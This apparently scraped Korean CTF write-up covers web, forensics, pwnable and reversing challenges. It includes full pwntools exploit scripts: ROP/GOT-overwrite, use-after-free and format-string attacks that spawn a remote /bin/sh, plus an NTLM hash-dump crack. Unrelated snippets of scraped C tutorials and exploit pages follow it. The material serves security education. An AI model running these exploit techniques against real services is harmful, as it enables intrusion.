Get your flag!! flag{basic_web_prob_wwwwwwwww} Key : BASIC_WEB_PROB_WWWwwwWWW [FORENSIC 250] Window Forensic 1 메모리덤프떠서 vol --profile=win7sp1x64 hashdu

Size: px
Start display at page:

Download "Get your flag!! flag{basic_web_prob_wwwwwwwww} Key : BASIC_WEB_PROB_WWWwwwWWW [FORENSIC 250] Window Forensic 1 메모리덤프떠서 vol --profile=win7sp1x64 hashdu"

Transcription

1 [WARM UP 5] sanity code int main(){ int i = 0; char *ptr; char input[17] = {0, }; char test[17] = {15,19,6,14,21,11,7,11,33,21,26,40,1,11,4,74,0}; printf("please Input Your FLAG : "); scanf("%s", input); for(i = 0; i < 16; i++) test[i] ^= input[i]; } if(!strcmp(test, "HackabilityCheck")) printf("good :)\n"); Colored by Color Scripter cs from pwn import * l=[15,19,6,14,21,11,7,11,33,21,26,40,1,11,4,74,0] s='hackabilitycheck' print xor(l,s) Colored by Color Scripter Key : GreetingHacking! cs [WARM UP 5] sanity binary 키출력하는함수이다. 치트엔진으로쓰레드생성해주면끝. [WARM UP 5] Toddler's Stair /prob1.php?hehe=givemeflag Content-Type : application/x-www-form-urlencoded /prob2_yoyo_0123.php POST 데이터 please=givemeflag 전송 /hoihoi_prob3_.php POST 데이터 please=givemeflag 와함께?hehe=givemeflag GET 데이터 전송 /yeah_f1nal_stag3.php document.cookie="kokoro=pyon_pyon_surun_jaa"

2 Get your flag!! flag{basic_web_prob_wwwwwwwww} Key : BASIC_WEB_PROB_WWWwwwWWW [FORENSIC 250] Window Forensic 1 메모리덤프떠서 vol --profile=win7sp1x64 hashdump 로해시추출후크랙 d1m1g0:1000:aad3b435b51404eeaad3b435b51404ee: a aaabb044a48463a4::: Hash Type Result a aaabb044a48463a4 NTLM 1q2w3e4r! Key : d1m1g0_1q2w3e4r! [PWNABLE 250] Kanai's Cube 길이체크를하지만 signed int 형이므로 -1 로 int overflow 발생시켜길이를조절한다. 커스텀카나리로 bof 를체크한다. 시드가타임기반이므로쉽게우회할수있다. puts 로 got 릭 -> printf got 를 system 으로 write -> printf_plt 호출 -> shell from pwn import * from ctypes import CDLL libc = CDLL('libc.so.6') libc.srand(int(time.time())) cookie = libc.rand() r = remote(' ',25552 ) print r.recv() r.sendline(str(-1)) print r.recv() puts_plt = 0x printf_plt = 0x read_plt = 0x read_got = 0x804a00C printf_got = read_got+4 binsh = 0x804A044 p4r = 0x804879c p3r = p4r+1 cs

3 p2r = p4r+2 p1r = p4r+3 p0r = p4r+4 p = 'A'*122 p += p32(cookie) p += 'A'*12 p += p32(puts_plt) p += p32(p1r) p += p32(read_got) p += p32(read_plt) p += p32(p3r) p += p32(0) p += p32(printf_got) p += p32(4) p += p32(read_plt) p += p32(p3r) p += p32(0) p += p32(binsh) p += p32(10) p += p32(printf_plt) p += p32(p1r) p += p32(binsh) sleep(0.1) r.sendline(p) print r.recv() print r.recv() s = r.recv() s = s[1:] print hexdump(s) read = u32(s[:4]) print 'read',hex(read) printf = u32(s[4:8]) print 'printf',hex(printf) system_offset = -0x9e5e0 system = read + system_offset print 'system',hex(system) r.send(p32(system)) r.sendline('/bin/sh\x00') r.interactive() $ cat flag Good! flag{7h3r3_15_n0_c0w_13v31~!@#$} Key : 7h3r3_15_N0_c0w_13v31~!@#$ [PWNABLE 250] Freedom Dive 간단한 UAF 취약점이다. echo 로구조체전체크기만큼원하는데이터를쓸수있다. 간단하게 free 릭한후 system 주소구해서 delete 로트리거

4 set -> set -> delete (free) -> echo (free 주소전까지데이터를채움 )-> show( 릭 ) -> echo(free function addr write) -> delete ( trigger) from pwn import * #r = remote('u',1234) r = remote(' ',25252) r.recvuntil('name\n') r.sendline('1') r.recvuntil('menu]\n') def echo(s): r.sendline('0') r.recvuntil(' : \n') r.sendline(s) r.recvuntil('menu]\n') def set(name, desc): r.sendline('1') r.recvuntil('name\n') r.sendline(name) r.recvuntil('ion\n') r.sendline(desc) r.recvuntil('menu]\n') def show(): r.sendline('2') data = r.recvuntil('=')[:-1] r.recvuntil('menu]\n') return data def delete(): r.sendline('4') r.recvuntil('menu]\n') set('a'*35, 'A'*215) set('a'*35, 'A'*215) delete() p = 'A'*251 echo(p) s = show() free = u32(s[0x107:0x107+4]) print 'free',hex(free) system_offset = -0x38720 system = free + system_offset print 'system',hex(system) p = '/bin/sh;' p += 'A'*(252-len(p)) p += p32(system) echo(p) r.sendline('4') r.interactive() cs

5 $ cat flag Congratulations!! flag{y0yo_f0ur_d1m3n5ion5!!} Key : Y0yO_F0UR_D1M3N5ION5!! [PWNABLE 300] Freedom Dive2 달라진것은 free 함수주소를세팅할때 plt 가아닌 libc 주소를넣어릭이필요하다. printf 에 fsb 를발생시켜 libc 를릭한다. 스택에 libc 의 scanf+6 주소가들어있어 libc 릭이가능하다. 시나리오를수정하면 set x3(printf 호출하기위해 delete 로 2 번트리거해야하기때문 ) -> echo(free 주소자리에 printf_plt write) -> delete( 트리거하여 printf fsb 발생 ) -> libc@scanf+6 릭 + system 주소계산-> echo(free 주소를저장하는곳에 printf_plt write) -> delete(trigger) - > shell from pwn import * r = remote(' ',28882 ) r.recvuntil('name\n') r.sendline('1') r.recvuntil('menu : ') def echo(s): r.sendline('0') r.recvuntil(' : ') r.sendline(s) r.recvuntil('menu : ') def set(name, desc): r.sendline('1') r.recvuntil('name : ') r.sendline(name) r.recvuntil('ion : ') r.sendline(desc) r.recvuntil('menu : ') def show(): r.sendline('2') cs

6 data = r.recvuntil('=')[:-1] r.recvuntil('menu : ') return data def delete(): r.sendline('4') r.recvuntil('menu : ') set('a'*35, 'A'*215) set('a'*35, 'A'*215) set('a'*35, 'A'*215) delete() printf_plt = 0x p = '%09$x' p += 'A'*(252-len(p)) p += p32(printf_plt) echo(p) r.sendline('4') s = r.recv()[:-4] scanf_6 = int(s[:8],16) print 'scanf+6',hex(scanf_6) t system_offset = -0x22ee6 system = scanf_6 + system_offset print 'system',hex(system) p = '/bin/sh;' p += 'A'*(252-len(p)) p += p32(system) echo(p) r.sendline('4') r.interactive()

7 [REVERSING 400] Peaceful Benedu Time 함수를들여다보니생겨먹은게딱 aes cbc 였다. key 와 iv 는 time 기반으로한시드로생성된다. 통신을하면서키를동기화하기위해다음암호화에쓰일 key 와 iv 를함께보낸다. 프로토콜을대충분석해보면 0x0~0x4 y 0x4~0x8 x 이후 WINNER MESSAGE 0x20~0x30 key 0x30~0x40 iv 이다. 키를계속교환하기때문에첫키만알면쭉복호화가가능하다. 이패킷부터복호화하도록한다. No.1 그전패킷의타임스탬프이다.

8 pbt_init_key.py import os from Crypto.Cipher import AES def aes_decrypt(enc,key,iv=''): if iv: cipher = AES.new(key, AES.MODE_CBC, iv ) else: cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(enc) seed = r = os.popen('srand.exe %d 32' % int(seed)).read() r = r.split(' ')[:-1] r = map(lambda x: chr(int(x)&255), r) key = ''.join(r[::2]) iv = ''.join(r[1::2]) print 'key',key.encode('hex') print 'iv',iv.encode('hex') cs 초기키를구하는스크립트. 결과 key fc97b2018d035bf55d489d768135a1f0 iv b0c8ee66854cddbf02c2a538644a4b08 pbt_decrypt.py import dpkt from PIL import Image from Crypto.Cipher import AES from pwn import hexdump,u32 def aes_decrypt(enc,key,iv=''): if iv: cipher = AES.new(key, AES.MODE_CBC, iv ) else: cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(enc) f=file('filtered.pcap',"rb") pcap=dpkt.pcap.reader(f) packets = [] for ts, buf in pcap: eth=dpkt.ethernet.ethernet(buf) cs

9 ip=eth.data tcp=ip.data packets.append(tcp.data) key = 'fc97b2018d035bf55d489d768135a1f0'.decode('hex') iv = 'b0c8ee66854cddbf02c2a538644a4b08'.decode('hex') packets = packets[1:] datas = [] for packet in packets: data = aes_decrypt(packet, key, iv) datas.append(data) key = data[0x20:0x30] iv = data[0x30:0x40] if packet == packets[-1]: print repr(data) stones = [] for data in datas[:-1]: y = u32(data[:4]) x = u32(data[4:8]) stones.append([x,y]) im = Image.new('L', (30,30),128) pixs = im.load() for i in range(len(stones)): stone = stones[i] if i%2: pixs[stone[0],stone[1]] = 255 else: pixs[stone[0],stone[1]] = 0 im.save('map.png') from md5 import md5 print md5('ha_n0_0ne_doing_benedu_lol').hexdigest() WINNER MESSAGE HA_N0_0nE_DoInG_bEnEdU 패킷의앞 4 바이트가바둑돌의 y 좌표다음 4 바이트가 x 좌표이므로 PIL 로바둑판맵을그려본다.

10 MAP LOL Key : a2113fcefa94fa5b16f44a28fbb831b6 ( 아이디어가참신했고리얼월드느낌이많이났다. 최근푼 ctf 문제중에서오랜만에재미있는문제였다.) [REVERSING 450] Where is input exe 에서 dll export check 함수로체크한다. 앞문자열은 Th1S_1s_ 로시작한다. dll 의 check 을보면안티디버깅이여럿있는데적절히우회해준다. CreateThread 에ㅓㄴ 이런코드를볼수있다.

11 rol 과 rand 을 xor 한다. key 는앞자리와뒷자리를 xor 한값이다. 그리고 rol 과 xor 은역연산이가능하다. 그러므로앞 1 바이트를알면역연산을할수있다. rand 값은모두뽑아서테이블을만든후역으로접근한다. 1 바이트밖에안되니브포로찾자. Th1S_1s_first key <THE_input_i5_> 그리고더뒤지다보면 이있는데 이런코드를발견할수있다. 이코드는 vmware 게스트에서만정상적으로작동한다. 호스트의클립보드데이터를가져온다.

12 chk2 를보면 ror 이 rol 로 xor 순서가바뀐것외에는같다. import string printset = set(string.printable) is_print = lambda x: set(x).issubset(printset) rands = [0, 21468, 9988, 15628, 9196, 20666, 17047, 3649, 19799, 32763, 24976, 9089, 16806, 8936, 593 2, 7969, 25518, 2196, 14616, 28336, 23962, 7112, 31685, 8245, 26588, 29395, 30882, 5184, 14115, 26378, 23373, 23126, 17114, 8983, 32290, 31933, 7524, 18610, 27456, 21595, 29452, 21586, 9025, 1692, 4405, 18755, 27591, 6804, 10908, 23948, 13535, 5036, 26333, 7904, 19125, 12347, 20774, 576, 10970, 611, , 24050, 21277, 16100, 6231, 31089, 17306, 6301, 19638, 8772, 31053, 21614, 21745, 20580, 7926, , 27188, 23540, 12003, 9146, 20720, 8811, 7309, 26589, 4543, 18011, 10876, 25836, 18420, 1249, , 28463, 3193, 25192, 29171, 18250, 787, 12207, 10930] rands2 = [0, 21468, 9988, 15628, 9196, 20666, 17047, 3649, 19799, 32763, 24976, 9089, 16806, 8936, 59 32, 7969, 25518, 2196, 14616, 28336, 23962, 7112, 31685, 8245, 26588, 29395, 30882, 5184, 14115, , 23373, 23126, 17114, 8983, 32290, 31933, 7524, 18610, 27456, 21595, 29452, 21586, 9025, 1692, 4405, 18755, 27591, 6804, 10908, 23948, 13535, 5036, 26333, 7904, 19125, 12347, 20774, 576, 10970, 611, , 24050, 21277, 16100, 6231, 31089, 17306, 6301, 19638, 8772, 31053, 21614, 21745, 20580, 7926, , 27188, 23540, 12003, 9146, 20720, 8811, 7309, 26589, 4543, 18011, 10876, 25836, 18420, 1249, , 28463, 3193, 25192, 29171, 18250, 787, 12207, 10930, 17600, 22080, 8039, 31304, 21498, 4980, 1453, 5887, 13567, 19574, 15153, 11927, 28176, 22916, 2326] cnt = 0 def get_rand(): global cnt c s

13 cnt -=1 return rands[cnt] def get_rand2(): global cnt cnt -=1 return rands2[cnt] def rol(data, shift, size=8): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def ror(data, shift, size=8): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) key1 = 'E249D96FA3F5592FFF8F0131FD214270C405543EB E6871ED0C468'.decode('hex') key2 = 'A37F7D5C99694CB90492F79867B27AD4766E0F FE DD24E496510EABA6E2'.d ecode('hex') def check1(key, first_char): global cnt cnt = len(rands) s = [None] * len(key) s[0] = ord(first_char) for i in range(len(key)-1): s[i+1] = s[i]^ord(key[i]) for i in range(len(s)-1,-1,-1): get_rand() s[i] ^= get_rand()&0xff r = get_rand()%8 s[i] = rol(s[i], r) return ''.join(map(chr, s)) def check2(key, first_char): global cnt cnt = len(rands2) s = [None] * len(key)

14 s[0] = ord(first_char) for i in range(len(key)-1): s[i+1] = s[i]^ord(key[i]) for i in range(len(s)-1,-1,-1): get_rand2() r = get_rand2()%8 s[i] = ror(s[i], r) s[i] ^= get_rand2()&0xff return ''.join(map(chr, s)) for i in range(255): s = check1(key1, chr(i)) if is_print(s): print s for i in range(255): s = check2(key2, chr(i)) if is_print(s): print s Colored by Color Scripter Th1S_1s_first key <THE_input_i5_> Second key <in_the_vmb4ckd00r_i0_p0rt> Key : THE_input_i5_ in_the_vmb4ckd00r_i0_p0rt

15 [REVERSING 300] Gauss 겉으로보면매우복잡하게보이지만다행히입력값이달라도조건은항상같았다. 하지만입력값에따라리턴값은다르기때문에파일을패치하여내가입력한값의 리턴값이무엇인지알수있도록출력하여 (puts(v6+i)) 조건을맞추었다. from pwn import * s = '94A3A3FF825715FF27DEADFE9A672AFED120CDFD2A2044FD02D59FFC61F81EFCFC1CD4FB7D565DF BB5C3C2FA1A481FFADD1DA2F9102C29F9E78995F F89A1EA5F7DB4C19F72CA4B3F63771FDF5229 FAAF5CA2637F52DF1D0F45F8359F40A0DC9F3DD967BF3E188CBF2DCAF59F2'.replace(' ', '').decode('hex') answer = [] for i in range(0,len(s),4): answer += [u32(s[i:i+4])] flag = 'flag{ar3_y0u_g3niu5_or_fool' for i in range(len(flag),28): for c in string.printable: p = flag + c r = process(['gauss',p]) c s

16 sleep(0.1) s = r.recv(140)[:i*5+5] l = [] for j in range(0,len(s),5): l += [u32(s[j:j+4])] my = l[i] if my == answer[i]: print c flag += c print '##########flag',flag break Colored by Color Scripter

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,

More information

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어 개나리 연구소 C 언어 노트 (tyback.egloos.com) 프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어먹고 하더라구요. 그래서,

More information

Chapter 4. LISTS

Chapter 4. LISTS 연결리스트의응용 류관희 충북대학교 1 체인연산 체인을역순으로만드는 (inverting) 연산 3 개의포인터를적절히이용하여제자리 (in place) 에서문제를해결 typedef struct listnode *listpointer; typedef struct listnode { char data; listpointer link; ; 2 체인연산 체인을역순으로만드는

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

http://cafedaumnet/pway Chapter 1 Chapter 2 21 printf("this is my first program\n"); printf("\n"); printf("-------------------------\n"); printf("this is my second program\n"); printf("-------------------------\n");

More information

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf(hihi\n); } warning: conflicting types for functiona 이름 : 학번 : A. True or False: 각각항목마다 True 인지 False 인지적으세요. 1. (Python:) randint 함수를사용하려면, random 모듈을 import 해야한다. 2. (Python:) '' (single quote) 는한글자를표현할때, (double quote) 는문자열을표현할때사용한다. B. 다음에러를수정하는방법을적으세요.

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

Index Process Specification Data Dictionary

Index Process Specification Data Dictionary Index Process Specification Data Dictionary File Card Tag T-Money Control I n p u t/o u t p u t Card Tag save D e s c r i p t i o n 리더기위치, In/Out/No_Out. File Name customer file write/ company file write

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

8장 문자열

8장 문자열 8 장문자열 박창이 서울시립대학교통계학과 박창이 ( 서울시립대학교통계학과 ) 8 장문자열 1 / 24 학습내용 문자열 (string) 훑기 (traversal) 부분추출 (slicing) print 함수불변성 (immutablity) 검색 (search) 세기 (count) Method in 연산자비교 박창이 ( 서울시립대학교통계학과 ) 8 장문자열 2 /

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt 변수와상수 1 변수란무엇인가? 변수 : 정보 (data) 를저장하는컴퓨터내의특정위치 ( 임시저장공간 ) 메모리, register 메모리주소 101 번지 102 번지 변수의크기에따라 주로 byte 단위 메모리 2 기본적인변수형및변수의크기 변수의크기 해당컴퓨터에서는항상일정 컴퓨터마다다를수있음 short

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

Microsoft PowerPoint - chap06-1Array.ppt

Microsoft PowerPoint - chap06-1Array.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

5 167 Python Jon Franklin Python Python Python Python USB USB RS485 C Python DLL Python Python dll Python Python ctypes dll ctypes Python C Linux Wind

5 167 Python Jon Franklin Python Python Python Python USB USB RS485 C Python DLL Python Python dll Python Python ctypes dll ctypes Python C Linux Wind 5 167 Python Jon Franklin Python Python Python Python USB USB RS485 C Python DLL Python Python dll Python Python ctypes dll ctypes Python C Linux Windows Python C ctypes dll C dll C 168 159 168 DLL Windows

More information

C 언어 프로그래밊 과제 풀이

C 언어 프로그래밊 과제 풀이 과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍

More information

KNK_C_05_Pointers_Arrays_structures_summary_v02

KNK_C_05_Pointers_Arrays_structures_summary_v02 Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",

More information

Javascript.pages

Javascript.pages JQuery jquery part1 JavaScript : e-mail:leseraphina@naver.com http://www.webhard.co.kr I.? 2 ......,,. : : html5 ; ; .

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

SRC PLUS 제어기 MANUAL

